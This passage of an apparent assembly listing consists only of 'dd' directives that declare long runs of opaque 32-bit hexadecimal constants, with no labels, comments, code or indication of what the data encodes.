		dd 52489943h, 0FA209C21h, 0EE989264h, 664D146Ah, 0E0B0C062h
		dd 1419CCE8h, 15E0AA7Ch, 240CCAD0h, 87A8FC73h, 498FF58Ch
		dd 2400B009h, 3EAC49C8h, 78EEE635h, 0C6482980h,	3082F223h
		dd 0AC486E57h, 3B00FF5Fh, 25AA4781h, 1D46782Ah,	7DE719Fh
		dd 79BA08A8h, 2A9D7C30h, 8375A6B0h, 0B31F5803h,	7FEB17AEh
		dd 697B0080h, 0FD1340A6h, 0B3E21C52h, 5C984702h, 40414FA7h
		dd 31F4D889h, 6A5073DDh, 2DE9C087h, 0E43A3D28h,	0C8E53326h
		dd 371001BDh, 9B3B18B9h, 24AD8180h, 3DFBC0B3h, 0F2762B90h
		dd 2071A300h, 864BBAB0h, 52C10089h, 4375D6DAh, 173E0B1Ah
		dd 249B870Dh, 0B012853Dh, 190C6013h, 0A244242Ah, 1C508E04h
		dd 8ABF1E80h, 0E2014C77h, 81CE0CFAh, 782483D1h,	3845188Bh
		dd 0D5EDA196h, 412431EAh, 5D00D8D2h, 43BC8E2Ch,	0BE6C0005h
		dd 827C6F47h, 4D09EF64h, 81A8C08Ah, 834EBA60h, 587380E0h
		dd 0DF2238B7h, 0BB68B907h, 4E709E6Dh, 0E2712C4Dh, 0CFDC296Bh
		dd 0DA9244h, 733C3A53h,	47789306h, 0D7028C90h, 6CA5AF1Eh
		dd 628DC024h, 0CEC9080h, 0C047A76Bh, 0B27B4B81h, 0A00036FAh
		dd 487267A8h, 2AF7E95Eh, 9885D55h, 32FDF34Dh, 640FA820h
		dd 80CF8C7Bh, 0A9585FBAh, 60ACBEF8h, 878A10BBh,	68026D99h
		dd 76AFDA0Fh, 0EE4407Ah, 40D0AA7Bh, 0B0480638h,	38CF03D6h
		dd 0FE35E64Dh, 3197DD0h, 3D781A04h, 6080870Dh, 3F15075Bh
		dd 6004FABFh, 0C99C8820h, 0E848CEFCh, 2200AC0Bh, 62BEC6B1h
		dd 609FA771h, 190468DBh, 17005C2Ch, 261BAADDh, 152EF98Bh
		dd 0E03358E4h, 2F88E03h, 0F024FEA4h, 806CA89Ah,	8B9C0E4Dh
		dd 0DAC0CFA6h, 4BC9AAA5h, 403658h, 2B5FD43Fh, 0B7C10Ch
		dd 0DEBA7810h, 0CE514662h
		dd 271945ECh, 4869F606h, 0A8E741FCh, 15F41780h,	0B47D1B11h
		dd 181D5300h, 6120FB5Fh, 49D83A3Eh, 6C510184h, 9BC0D2F0h
		dd 0CF01FC32h, 0ED176ADFh, 3A2F80Fh, 40E840Fh, 194DA4E8h
		dd 380C886h, 9840A780h,	69001292h, 2FEC9A0Ah, 1145A0Fh
		dd 8DBDC273h, 9CEA362Eh, 25008AA9h, 0FE3B7E65h,	0F66F293h
		dd 914F6760h, 0C3C05E12h, 0A21ADC2Eh, 0BDEB900Fh, 4F3BC3F2h
		dd 6AA7A86Fh, 2FCD0382h, 39CE48E9h, 0E1FE8085h,	4D1D5291h
		dd 0F202D5E8h, 60C1B4C5h, 2418992Bh, 4AB41E4Eh,	5C471550h
		dd 5302E080h, 59713764h, 5F006CA6h, 63906A66h, 2C22068h
		dd 5431DFE0h, 84CBB296h, 61EE8D91h, 8B54606Ch, 0AD450E05h
		dd 0FC80C26Bh, 0DA3E49h, 4F354C9Eh, 4432552Dh, 6AB86053h
		dd 4100F09Ch, 4E506EA8h, 0D8E132Eh, 0C6F40F8Fh,	0D30034F5h
		dd 663ABFA4h, 4700FC09h, 0AA59B830h, 1F8A3592h,	4D1DEEE3h
		dd 44619BF2h, 0FBC4C8A8h, 7E671678h, 15E054D9h,	9D5E5Fh
		dd 55939CD9h, 0B9D5F219h, 0B70044F8h, 0E3856623h, 4C1BA070h
		dd 120200A1h, 727C5B5h,	4D9AD140h, 0E6520200h, 6DE3BE75h
		dd 92BBE0F8h, 99ACB010h, 0A6BC208Ch, 99DE0050h,	0E29B5F90h
		dd 0B6927E8h, 749481C8h, 18248733h, 4EC0BBAh, 20A81Ah
		dd 0D127E0F9h, 7C003A73h, 7381011Fh, 0EC11CC58h, 4209082h
		dd 71C5AB16h, 0C0B4846Ch, 0F8915574h, 678BBA00h, 0A7686432h
		dd 0DCF052F3h, 58A0145Ch, 172C8626h, 5D604CFEh,	9A936BF7h
		dd 0AA553E10h, 17A947B0h, 952E4AAFh, 569A0B7h, 785FA594h
		dd 0DB5D4047h, 0CE416057h, 0ADC00C01h, 5068520Eh, 0ACBB3900h
		dd 1365CA75h, 0A8A0C730h, 1AAF831h, 76896F6Ah, 0C6D1583Ah
		dd 59CA2C68h, 22B0B551h, 3BBD4C9Ch, 9415805Eh, 7B3EC547h
		dd 0E08E580Fh, 0C0E5C41Dh, 0D75234B7h, 3D0EF646h, 0C2D9A02Ah
		dd 5B36ED5Ah, 0A980E58h, 3A4C0CA0h, 80ABD6A9h, 615D53D9h
		dd 0E2304026h, 4B77A634h, 80F8A400h, 54118EEFh,	6B2D2EDBh
		dd 95218028h, 1A728A88h, 0C2CE001h, 0BEF1E316h,	0E0DBCC70h
		dd 384100B8h, 80671DCFh, 0D8FE48B9h, 0C76CDA00h, 0F21B3A13h
		dd 4438C030h, 149F2F01h, 959311CAh, 0E5EB6401h,	709E1766h
		dd 0BA3E80E8h, 0E791E4B8h, 59DD7200h, 0B216761Ch, 9EA0755h
		dd 80EB7379h, 83CE6027h, 0B661D300h, 14D99A37h,	3BFB00DBh
		dd 0B1028F39h, 0DC0E131Ch, 24C70710h, 2480650Ch, 1FABECh
		dd 61ED2788h, 0CB5C836Ch, 71946B00h, 0CEFD792Eh, 7F7C001Eh
		dd 30AF20E2h, 0DA005724h, 0D562646Eh, 0F28BBBAh, 0AE9B7654h
		dd 1D558F1Fh, 0F535A500h, 6E061A73h, 800BFD6Bh,	863C5018h
		dd 21271D7Ch, 891C0016h, 0FF10DFD0h, 0CAA39830h, 763383B3h
		dd 3EDD0191h, 8509A92Eh, 507CD574h, 25ABD980h, 16A0A01h
		dd 8DF15C77h, 1CFA2081h, 0BE7F4B61h, 33D78029h,	4EE8D8BDh
		dd 0C0813327h, 21036008h, 4B33ECC1h, 97BBE005h,	799D0053h
		dd 99930367h, 0D19069FCh, 8FB15A14h, 7C770330h,	0C0182DC9h
		dd 1BA5CF7h, 0D8E9B319h, 0FC4FF9F3h, 74003802h,	2F78B83Ch
		dd 77D432h, 0E2C35EDEh,	4DC619A7h, 211D3002h, 403B2D0Ah
		dd 0F0F79Ch, 0F9A8E2F8h, 49693659h, 0E5034E90h,	0A4E9AC1Ah
		dd 4E05E9FBh, 2E4DCh, 0D6161C4Bh, 444C6847h, 0FBA842C0h
		dd 0F70A676h, 27227A95h, 0E6D38983h, 9065ACF0h,	0B8A15138h
		dd 0E01C1D5Ch, 9DD3100h, 32E47E5Eh, 4311415Bh, 0EE1804B6h
		dd 0A910EBE8h, 2F7C61h,	0E4BE0A89h, 42605818h, 41C3CC00h
		dd 103C2CEEh, 7AA818B8h, 0E1022929h, 89D15688h,	446108C0h
		dd 0E244E6E5h, 0C22420ABh, 223F3422h, 2A45E104h, 0D7E935C1h
		dd 1A20D4h, 13B8779Ch, 4511CD8Ah, 2C61D600h, 9B3D183Eh
		dd 93A600C6h, 24DE744Dh, 0AF00F2E9h, 0A729DD7Dh, 0BC6395h
		dd 53DB0ED0h, 0B8E54105h, 67A12200h, 0B584CAFDh, 1C680007h
		dd 0A2582AC1h, 0FF737944h, 8C40B00h, 0AD667678h, 0E8FC0024h
		dd 8C26F505h, 8000ECF7h, 0A443644Ch, 618C1D0h, 0D7BE4A90h
		dd 0C90010A2h, 87DBAE65h, 2A1D42E7h, 0EB8A7E5h,	3E533832h
		dd 8CDFA00h, 0E2056CA4h, 6833EBC6h, 7918A301h, 48BBFD92h
		dd 0C55E058Fh, 0C7FE11F8h, 34EA2003h, 0F21D4384h, 46E8908Eh
		dd 0ECBC50EEh, 55A200C3h, 0A8B120FFh, 0F901B726h, 850BD2D0h
		dd 0DEFC95DBh, 952C4C0Ah, 0DC900F00h, 88C48DE4h, 29FDE62Eh
		dd 74971030h, 78590FA5h, 3E9D4AF8h, 11809880h, 0C3082FE5h
		dd 497A900h, 0ECA6A160h, 0FA2402CEh, 0FC25F156h, 0B12C4048h
		dd 53877A00h, 0C839E143h, 0B27F48Dh, 25A27E61h,	911D4000h
		dd 8877DB8Ah, 0ADE9B50Ch, 442854h, 924A30AAh, 0A5A4C17Dh
		dd 0A1EEC304h, 0FBC0AD8Bh, 615C5Dh, 417D108Dh, 29B13A71h
		dd 97FFE603h, 0A0F3EEA4h, 178C6ACh, 0F153A2FDh,	8044355Bh
		dd 0A52E3A98h, 15FA34Fh, 0E74AA85Ch, 0C8DEF3E8h, 0DD008E69h
		dd 0A0EB33FAh, 0C0A4A6h, 3F8BD1BDh, 0DE91B43Bh,	50CEBB00h
		dd 3395D7A7h, 7E093B63h, 0A43F8600h, 0D3E489FEh, 3AACD402h
		dd 0E03692C1h, 0F2BD062h, 0BC459006h, 82C7AAE0h, 41246018h
		dd 10099C2h, 0D1E2E8B4h, 931339C1h, 0EF56EA83h,	0BEE060D7h
		dd 0CC05EB12h, 3915ED19h, 0F5825800h, 758F7Bh, 60A181DDh
		dd 4CB97E54h, 0B8FF3F00h, 7DE1179Fh, 0C3790030h, 0FC032F8Eh
		dd 0B00F14Eh, 72985462h, 181CDDCh, 6DE93A17h, 20BEF26Eh
		dd 3D004424h, 0CBB2D652h, 37A0AF8h, 0D8E57F4Ch,	0A4907339h
		dd 0AE0FFCE7h, 0C00FF02Bh, 5A17BC98h, 44780063h, 13AD5226h
		dd 46009A4Eh, 0A89D358Fh, 0C02921h, 20AB58C6h, 12337D52h
		dd 45976B00h, 3DC46E70h, 0EC2700A9h, 0E2F60C81h, 9092A10Bh
		dd 1E41BA00h, 0BDF03D45h, 0B8170E7Fh, 0A3E9EE26h, 0F23C0C00h
		dd 0CD014DF7h, 701821DEh, 9C20D7F4h, 316E016Bh,	0FCDC0617h
		dd 0F3302057h, 6CB74CC0h, 18015E23h, 0F8A87948h, 383DCC0Ch
		dd 783AB051h, 0F4CB718h, 0BF57C889h, 51A7E7C7h,	22A61137h
		dd 0F09F30B4h, 1D9ABFDCh, 4058070Bh, 494F0938h,	0ED037182h
		dd 0CCFD3D33h, 3908F85Dh, 0B0063C63h, 1E28BC30h, 0A3E65CF5h
		dd 4CD0553Fh, 73E70070h, 0C71D45DFh, 9EC900D5h,	42EBD316h
		dd 14006B08h, 8528FEE0h, 0EC094162h, 5BC90078h,	0D2E2F061h
		dd 3903D4AFh, 1A5C726Eh, 0F88A906Dh, 100648BCh,	0E60EA203h
		dd 51D7EBFCh, 0C0788709h, 0C6005CE5h, 0E0FE6A59h, 0E2B5E9Dh
		dd 0B7709F19h, 5B0DF823h, 0EF122013h, 35D12407h, 0DAE0A03Eh
		dd 13E1BC79h, 0C7DF4Bh,	0FB890748h, 9C00E3A5h, 0BE193F2Eh
		dd 3134AC4h, 0E6BD18F2h, 45F83280h, 1007915h, 0DA8CA356h
		dd 0B69AE2Fh, 7ED502B4h, 71BDE487h, 0DCF735BCh,	0C5008BE9h
		dd 0E7640AFAh, 0E1A355h, 3C2E2D9Fh, 0F8F5C20h, 0A287FF09h
		dd 56CC01AEh, 0C5D0EC59h, 84670C1Fh, 4D7844F4h,	89BB3F00h
		dd 5EFDE98Bh, 0DBF703A7h, 1571DA31h, 0EDA2C2A0h, 0B18C6307h
		dd 0FF22587Dh, 0E28C60B7h, 8EE701A0h, 0C845F4EAh, 475030E9h
		dd 1FFB2B00h, 0E59A022Eh, 0AEB800A9h, 0CCE8585Dh, 2579C0F1h
		dd 2646D75Ch, 38BC0Eh, 4AF32ED4h, 0B03CA1h, 0DE40EFD0h
		dd 7764780h, 7BCAB300h,	2DB27259h, 66F87Dh, 303D96D3h
		dd 0CBD1B940h, 0DEB55700h, 8AC2035Fh, 0B4B305A8h, 7FBC77h
		dd 9FA192A8h, 0A4481BDEh, 0BEAA0054h, 5121DAFBh, 1AB81CD2h
		dd 1388668Ch, 0AFC00089h
		dd 0F401E720h, 0B4407F14h, 1C842EDh, 86F065B3h,	0EC490DF3h
		dd 12E12CDCh, 0C5D71Ah,	0BE1D8FE3h, 0D616A8EBh,	0B8024814h
		dd 0C4FA213Dh, 0BA3E0048h, 4AD564E9h, 6B006D77h, 94562DA9h
		dd 1224EFECh, 0C8039h, 0D0331168h, 6400A5C2h, 0CF061F6Dh
		dd 79B7B6C1h, 4C9A07A1h, 0B09DE15Ah, 0DA44E854h, 0C5631E0Ch
		dd 30C72803h, 72484346h, 8D07E9DDh, 0A5831F65h,	29E4F820h
		dd 50F500FDh, 92EDEC79h, 0D7008576h, 0E09E1AE9h, 331F63h
		dd 0D824EB78h, 1017B279h, 6C90E5ECh, 0EFDDFB07h, 86A07069h
		dd 1324D54h, 0C626FDDFh, 6F5B22ECh, 3A44B0h, 0C99B4EA1h
		dd 0BC95E76Ch, 0D3D9A00h, 85516197h, 0CF69026Fh, 5A634A7Fh
		dd 0A7906C43h, 53033FD6h, 26377972h, 1C69A85Dh,	0EE931F7Fh
		dd 7A87C2B9h, 7860F294h, 0C6003BC0h, 97465333h,	7EC209h
		dd 7AF62A66h, 22B43477h, 0A45AEC00h, 334FDEABh,	545F1DACh
		dd 0CD30C13Bh, 30FFE8AAh, 69000690h, 6A252FCCh,	284E1410h
		dd 1A0CF85h, 46376896h,	0E85B6929h, 303E24ACh, 7117801Ch
		dd 3E5FCA81h, 0EC22C23h, 0C19B1CC4h, 0C48E1ACFh, 0FCB4313Ch
		dd 0B3006639h, 99E0350Ch, 74EBA7C3h, 0EFBD58C5h, 32FF6003h
		dd 80C4D529h, 560DFAB0h, 7B722F00h, 0FDFBBAA0h,	92A43085h
		dd 0D25B8890h, 280AF8A8h, 0CCC9B003h, 0B88BA369h, 0DDF9BEh
		dd 551BCF2Ah, 62E7827Ch, 206AE430h, 0FD7E83Ah, 0DE8EF8F9h
		dd 38A0F00Eh, 0DCC99D5Eh, 19001C79h, 753C55B5h,	0C06FA1B0h
		dd 35E176C0h, 0E5007B25h, 0D47C1D88h, 5C1AB3DAh, 0DD406702h
		dd 1B960462h, 85C89DE8h, 531400C6h, 0CD2C6119h,	5D7DAD00h
		dd 0F373BCCBh, 429E227h, 5297C1C3h, 75588004h, 9A00DCF8h
		dd 0E977EF91h, 11424D9h, 13344112h, 353590DDh, 40A96178h
		dd 1FD28F8Ch, 0E6DA44C0h, 0A3C430h, 0B9B5CE8h, 7028E4B2h
		dd 6D0E4700h, 2A5B3765h, 0B54F00D4h, 0B2019CAEh, 230F4316h
		dd 0E01E8110h, 6D155088h, 3FE40036h, 9EBE2BB9h,	990D1642h
		dd 0A4A6E994h, 2C544E8h, 0CD283C84h, 7841DF47h,	30F0C960h
		dd 0D009B6Eh, 914A290Ah, 39D471E7h, 3300205Fh, 5D0EB0B5h
		dd 6C00A92Bh, 0AA8F3048h, 211FF81h, 24163ECBh, 11E03FD4h
		dd 0EE009138h, 0C1D315A4h, 2CE6702Fh, 8024BDA3h, 7544098Fh
		dd 0BE00BC0Bh, 10BFF286h, 1964E15h, 8FCB1A0Fh, 0E0BBFD44h
		dd 6A022E41h, 0B26C0784h, 0B4AF80E5h, 0FE7C1F90h, 47E17A9h
		dd 0BBAC01CBh, 0D0BEE6D4h, 0BF03B8F6h, 2E6CC390h, 9A5A0358h
		dd 0B3D14279h, 0EDE0FFC0h, 8088E738h, 0D9F1DEA1h, 0CF483Bh
		dd 0AA748444h, 903A152Bh, 0A1F33Fh, 9B778816h, 1DE25B8Bh
		dd 0C0510F99h, 0F4920AD6h, 0C17C3273h, 0B9EC851Bh, 0ED900080h
		dd 36C7A95Bh, 0B004423h, 0F4C2971h, 3309FAh, 42989D4Bh
		dd 0D59B2EF3h, 1BC20200h, 94393207h, 920C7CA7h,	3F271E4h
		dd 0C4F6D79Bh, 0EFA08EC9h, 4F076741h, 86407129h, 99EB931h
		dd 0A596E8h, 66106832h,	140D33CCh, 43593F00h, 0F008AD77h
		dd 8BC4009Dh, 992AC35Eh, 6850D5DDh, 207B14ACh, 2A77100h
		dd 8696F2E1h, 365D00FFh, 0ACEA7622h, 4DF5FB7Bh,	75D7E0FCh
		dd 0D6FC952Dh, 504400DEh, 0B90FF4F6h, 2D7FC800h, 0F33F453Eh
		dd 833D0768h, 0C98EEA96h, 120E5C44h, 2073A52Dh,	0D89D371Fh
		dd 7881005Ah, 0E26772FEh, 22FECA1Eh, 7E961B0Fh,	33EEC02Fh
		dd 5C3215Dh, 32CEAE29h,	6DBD00D2h, 0A43B05E0h, 0D0EB8B0Fh
		dd 603EAE54h, 46E84D2Dh, 76B9304Fh, 1E6BD421h, 9265C00h
		dd 927D6C11h, 8829006Fh, 7E5F2DEh, 381F2A64h, 3A80E447h
		dd 0C779A131h, 0C2BA00F3h, 93D192B4h, 0C90B589Ch, 875D27EFh
		dd 0AEE13BE0h, 2ED055EEh, 4D0A3B75h, 0C0202181h, 0F0C9AAF2h
		dd 57FEA5E2h, 8218D91Eh, 0E0B98Bh, 0EAFB9251h, 80FD30C7h
		dd 0A26493D0h, 0F02C9900h, 7BCCE99Ah, 246E006Fh, 7F7340DBh
		dd 0B1002163h, 29CF0B16h, 1DBEABE3h, 455A7030h,	9B41D3Bh
		dd 6740E2h, 0C0C6B79h, 0BC7F639h, 0FEA5BBh, 9BC51644h
		dd 79C400A0h, 332429CCh, 6EA3141h, 26EFD02h, 0C0F5A8B5h
		dd 197BF14h, 0B03907C0h, 0D8788562h, 8A09DECEh,	8419C167h
		dd 0D8C098ACh, 7155974Eh, 15A09FDh, 0F4406058h,	8CCDFCh
		dd 531303BCh, 87BEE9F7h, 74A40405h, 0C000A637h,	0BF73DE79h
		dd 80580124h, 359E51F2h, 0B4ABCB69h, 290E5EFBh,	81AAF437h
		dd 0A909608Ch, 526B9C85h, 0DDA71E33h, 0AA9500ADh, 0CE31B411h
		dd 0CAEFF726h, 53510203h, 616000A0h, 0CAFB67EEh, 0B900B59Eh
		dd 0AFC8CC26h, 0B0FA5E5Fh, 8E2E0300h, 0D8C13B52h, 6ED220A8h
		dd 0D7B6CE00h, 8624BC17h, 4E990059h, 0B8C2E72Dh, 62099F1Fh
		dd 800FB56Dh, 2F423C14h, 0E9F81C20h, 6C4CC057h,	4DE62D6Fh
		dd 857EFD00h, 5B77E5D3h, 0DA0A07DDh, 43435E76h,	6101FF33h
		dd 9A7D2949h, 1080FDD0h, 0B467557Eh, 6C80FCA2h,	32F8030Ah
		dd 0DCDDF51Eh, 0C8889683h, 7603CDD5h, 8B48EC54h, 36BAB0C6h
		dd 0C2C718D0h, 0ABCF08Ah, 495E7030h, 3048B7C0h,	6A1198BEh
		dd 31003908h, 0AAF98E8Bh, 6D83B4h, 442D4954h, 55E3B641h
		dd 85BD9700h, 6A0FA1CAh, 0F25600ADh, 8963A4B2h,	1573BC94h
		dd 0A5B7D900h, 3E021275h, 439F4C77h, 102DDE18h,	4F0EE7F7h
		dd 0C08D59A2h, 6DE4BB47h, 11B41F37h, 4CFF0019h,	7D39CDD7h
		dd 0BE863F8h, 2F5A38h, 0B59DEC78h, 1B3FB392h, 0E81B3861h
		dd 62D137B8h, 0B46DAC00h, 12944AADh, 38CA0005h,	0FA071A72h
		dd 0D4A09C08h, 4E0CFE26h, 105CEF7Dh, 6EBE01FCh,	761A198Dh
		dd 0C0A5FF9Ah, 39F4756Ah, 0DD85D40Ah, 4F0190E1h, 84730627h
		dd 0A8408FEDh, 30BD7F6h, 3B18A0Eh, 0A1030454h, 0BAE8B079h
		dd 0A8EBF083h, 1E7E00C9h, 2EA57120h, 8A02CEEDh,	0F00ADE61h
		dd 2F74405Ch, 5D9C04E4h, 0C38B18A9h, 420044E7h,	5F68C40Eh
		dd 0BF2FEEh, 0A1860869h, 325CF72Dh, 1905F000h, 3C7E3582h
		dd 785FEADBh, 4E8F0EE0h, 4AE06D84h, 560B448h, 83924201h
		dd 0F1EF88DEh, 0BD98F8h, 0DC74C523h, 8496E178h,	52C63Ch
		dd 0F7A0312Fh, 0C244D7h, 5631AC4h, 175C069Ah, 7882070Ah
		dd 8300D8DEh, 592E8AF7h, 64251434h, 0B526F027h,	0B09F0361h
		dd 5F887501h, 240098CAh, 0A16CFD2Ah, 1F0682D4h,	98AC0B08h
		dd 0BE0D10A2h, 4BE3DB03h, 79225DA6h, 6E993080h,	13652D68h
		dd 2C0E0A7Ch, 62852976h, 8007D264h, 0BDA1C88h, 0AE4D00E2h
		dd 0FDE59FE8h, 470F0972h, 80239E9Dh, 3D8AD622h,	0D0E850BFh
		dd 0A7763BD1h, 0CA82CC80h, 255DCE1h, 0F7749904h, 3C813D89h
		dd 0BACC10A8h, 70EC4844h, 8E49D983h, 0A6C6D800h, 0FC57BEC8h
		dd 0DA5500EBh, 3895D0ACh, 0E82E397Ah, 0FF001FC4h, 3CB3C6CCh
		dd 0D05450ADh, 0BAA90020h, 8B438C34h, 20B00C1Bh, 0F452570Ah
		dd 0A0CD4B8h, 8570F6h, 75FC726Ch, 9D2BA116h, 8D9AF71Eh
		dd 17EF0280h, 0CF7608h,	1650065Ah, 485FD569h, 1E82F900h
		dd 6484D8FEh, 26130040h, 0A0541C3Eh, 5C24DAC3h,	6D004C56h
		dd 0CCEC0374h, 5143D09h, 3F522200h, 0D30678A0h,	187ED77Bh
		dd 0F1A7AE0Fh, 1B8200Fh, 6F9825h, 6A40DC4Ah, 2C97337h
		dd 0D38D7F00h, 25F91539h, 0EAFF003Eh, 0E0D0C365h, 7490B972h
		dd 9871C900h, 0FB6457F2h, 1FC4A8E5h, 0C07903E1h, 0AA92440Ch
		dd 30BBF3C9h, 0BF00C8C1h, 0CA8D82C5h, 604554h, 956197E0h
		dd 0F8D93C55h, 6603C91h
		dd 428B0Ch, 0D18CDAB0h,	0FFB1525Dh, 0C4AC5A51h,	0D500C79Fh
		dd 9A0E1B84h, 0EAE0EF43h, 1E5F43Eh, 11346C49h, 0E02E1D06h
		dd 741216A2h, 7440BB07h, 0D60DE82h, 4DB900D6h, 0CF618B55h
		dd 0E0C6C24h, 0D0855F01h, 20EB1C15h, 52AFC7C3h,	0D78009BFh
		dd 762E7005h, 0E0DFE512h, 3CDA4F00h, 1AD6E9Dh, 3D07E9AEh
		dd 2030F3DCh, 0E10052B4h, 2F57F02Dh, 60A46DF7h,	627A1832h
		dd 0EB04C45Ch, 0C8742382h, 0F187A680h, 545E26A5h, 0ED2C00CCh
		dd 0E7FE2826h, 0BCD2AC07h, 0E0C10756h, 0C2F9B06Dh, 48D387D4h
		dd 0D7007165h, 0A6A86375h, 860022DEh, 0C43B0E68h, 0EB7385Ch
		dd 803279E3h, 0BCC145E0h, 1900AB76h, 0F033A1B1h, 0FF42AEDBh
		dd 0A4ADC30h, 2CFBF7BFh, 749400DCh, 0DEAA476Ch,	51B85Ch
		dd 90CC8A2Ah, 7D4838Fh,	0AEF51881h, 0A5AC00EAh,	43004EEFh
		dd 0FB363779h, 99EF856h, 0BDAFA141h, 1D6AB680h,	0F6B0D9F9h
		dd 0F30016F8h, 87563499h, 9BEC9Ah, 4B092A67h, 0BF1BA607h
		dd 0EA0D4A0h, 77983800h, 1AA53B43h, 0CA62046Eh,	8020F399h
		dd 68C67E74h, 1D00E890h, 3D558886h, 61D6D1h, 0FFA115F2h
		dd 1A21870Dh, 9B7C3E1Dh, 7B9AB040h, 76CE05h, 0C12D9DCBh
		dd 0D1C822A2h, 0BC2B5A26h, 31A31806h, 0D55F1C29h, 24014E48h
		dd 56193C01h, 0AA43DC5Ch, 80966000h, 69711DACh,	0A75F006Ch
		dd 7626C93Fh, 21007C08h, 0D934251Bh, 9C0D52h, 0EA73292Bh
		dd 0F14B56B7h, 0D7DDAAA0h, 79F0477Fh, 1AA9A200h, 91B6D16Ah
		dd 7BB4004Eh, 0BDB86299h, 0CB17DE52h, 0CC003BE3h, 9F321F42h
		dd 5AC80093h, 56B57D83h, 6200ED61h, 0F34AD16Bh,	78D6D8h
		dd 3F6E288Eh, 0A8F8F9E9h, 902B4716h, 0CCD8D440h, 0B9C89Dh
		dd 6A395BAh, 0A2D1C246h, 0A500A8B8h, 51664EBh, 76B2D3Fh
		dd 4D144A82h, 0A3EAB05Ch, 7F0FF2BAh, 40AF1586h,	0C6301019h
		dd 0D3F1007Ah, 79C85120h, 0A403B5EEh, 382F3C1Ch, 687828EAh
		dd 395B07E4h, 603BC99Fh, 0FEB80818h, 3E99B8F1h,	3F5C5D20h
		dd 91BF0EBEh, 0A5063DB0h, 0F018B9D2h, 3AF8A8h, 11479D2Fh
		dd 0AED47739h, 0D0BC9C00h, 5C8E58B6h, 873800E6h, 779286E8h
		dd 1D6F30FBh, 985B0758h, 0C0B8880Ch, 0FB723750h, 21C10675h
		dd 7ACB983Bh, 0F6E1C34h, 95A8C367h, 0B89790B8h,	0A58F850h
		dd 715BDE1Ch, 5CAE14h, 6A2F5090h, 72DCC86h, 3D63E3D9h
		dd 0FDEA802Ch, 8C07CDC2h, 0BC382689h, 0D4C0AAA7h, 0FADDD231h
		dd 7E2E0EDAh, 0FA0ED79h, 0C8698A10h, 4D585E00h,	2A575534h
		dd 0D1BD0011h, 0B3CF513Ch, 76048A15h, 0FCEFD70h, 1345BAC0h
		dd 900304BEh, 0C0A9A540h, 1E10BC0h, 0AF60CC1Dh,	0A7330287h
		dd 5D7D600Fh, 0E045FEh,	44654CC7h, 93BDF2EFh, 5A78AD00h
		dd 6F69384Ah, 3C498B9h,	58A233D1h, 40857B40h, 10DC9F90h
		dd 0B93F345Dh, 0D6007B0Ah, 24608674h, 93E054h, 0EF6E8D36h
		dd 6267F87Dh, 17A5370Dh, 77214178h, 1B4D9C10h, 8E3E07ADh
		dd 90F845F0h, 7D5F131Eh, 0A6D9BF00h, 8851A13Bh,	0BCF250B2h
		dd 0C85E0049h, 9A55147Ch, 3B1D7EACh, 4A40C942h,	0FF62EE99h
		dd 24E73E91h, 0BD2E7A01h, 0B88BE06Ah, 0E81D0040h, 0EA89F9EFh
		dd 974602C1h, 25AD10B0h, 5060488Eh, 4CFD7A3h, 0F6AB700h
		dd 0D2A0EB07h, 7AB8019Fh, 0BA1E5DE0h, 0D3F131FFh, 0EED1E2D0h
		dd 90BF2E30h, 7C413B62h, 9CAD0CC0h, 85593625h, 8EE8A00h
		dd 671E02D6h, 0DB3B00A3h, 0F7E9BA66h, 0F5007FEDh, 9C81EEEBh
		dd 15866CBFh, 98D31CA5h, 0B9B37C08h, 0CA0CA420h, 11A29011h
		dd 1CF100B1h, 72888BFh,	360315D3h, 0C7AA0A56h, 78B0909Eh
		dd 0B5863D8Dh, 206FB900h, 85D5B237h, 80E6BA38h,	3AD98E8Ah
		dd 726275h, 91411FE0h, 9CC9828Bh, 0A35C5704h, 4507C55h
		dd 0E2260CBAh, 0F641071h, 3CDDC1DAh, 6A7509E0h,	1600F1EBh
		dd 0C33EEF50h, 586C7h, 9C33A379h, 0EA0191FAh, 58694200h
		dd 7263A5D3h, 3B8C0099h, 12C1220Bh, 26010C74h, 572A8AF7h
		dd 0E0CC49D7h, 32AB1659h, 0E03EFEFh, 0D8FB6E21h, 0E4974Fh
		dd 0CBEBE213h, 14284EAh, 475CE900h, 539321BAh, 6BF218h
		dd 582D3E0h, 0D7FAFE96h, 6D0099F6h, 3DAA489Bh, 0C19F20h
		dd 75BE335Eh, 0DD4E5032h, 874C5B00h, 5DC98BB8h,	7A0F0014h
		dd 0FBD9FDD1h, 0A400A727h, 0E407886Bh, 0F716F58h, 0EB63B41Fh
		dd 8A6E003Fh, 0B353F18Bh, 3795AE00h, 0B9FFD750h, 12364838h
		dd 0BCF6AA0Eh, 0D03B4D06h, 0DEDD0F00h, 0CCD4BE17h, 0E2987Bh
		dd 9B56EAFDh, 5C412C92h, 8004C73Bh, 8AB993E3h, 0C04490h
		dd 748268Ch, 91957E74h,	2565C0Ch, 32F093h, 0D42FAD73h
		dd 7EB941A6h, 0D9E41754h, 340D1430h, 0AC1F45h, 0D4783AFCh
		dd 14C2693h, 400E6Fh, 79769B1Eh, 54FB1D38h, 0F863405Ch
		dd 4853EF1Fh, 0C49DF101h, 842549C2h, 1024C7D9h,	14D77F3Bh
		dd 0DC5AE156h, 8D3F0A00h, 0F72280Ch, 8A44E200h,	0AA22A47Ch
		dd 679F1F1Fh, 593B3F17h, 8F859681h, 0F0A3714Dh,	82001B08h
		dd 8830B4B9h, 746CBC1h,	0DFD3A4E9h, 5704F00Ah, 1112E166h
		dd 220FC980h, 397FE0ADh, 6D05E9h, 0FC0546Ch, 79121E6Ah
		dd 290027FAh, 0A4CE4C10h, 322C18h, 0D14D7321h, 1D349E38h
		dd 7201E900h, 5444173Ch, 5E7D014Bh, 0C98A55CDh,	0F085712Bh
		dd 9603ACB5h, 7662E36Ah, 95E8E02Ch, 286773BAh, 5484CE0Eh
		dd 294C38h, 7555BCAAh, 0B8362A6Bh, 0ED006C7Dh, 0E7FEE94Ah
		dd 1D2F0A17h, 80B34681h, 0F04298EBh, 840A7CCBh,	0A8D59571h
		dd 8137A840h, 8A1D01F9h, 7451042Eh, 0EE57F176h,	0CAB3D040h
		dd 154BBD00h, 342E02A5h, 40770027h, 95EE3F59h, 1701BF20h
		dd 0B852DDAAh, 0EC40FC3Bh, 7E6E316Ah, 2B730625h, 0F029B7FDh
		dd 13610200h, 0C02C4838h, 0CDD70028h, 0B0ECD43Dh, 17B821B1h
		dd 56265400h, 468B8840h, 69890B5h, 0E5C37A6Ah, 1500115Eh
		dd 53230468h, 3C1A8E90h, 18C88408h, 4BD76C80h, 2500E951h
		dd 99DDF135h, 0FE946Eh,	7F66A9FCh, 227249DBh, 713A3B00h
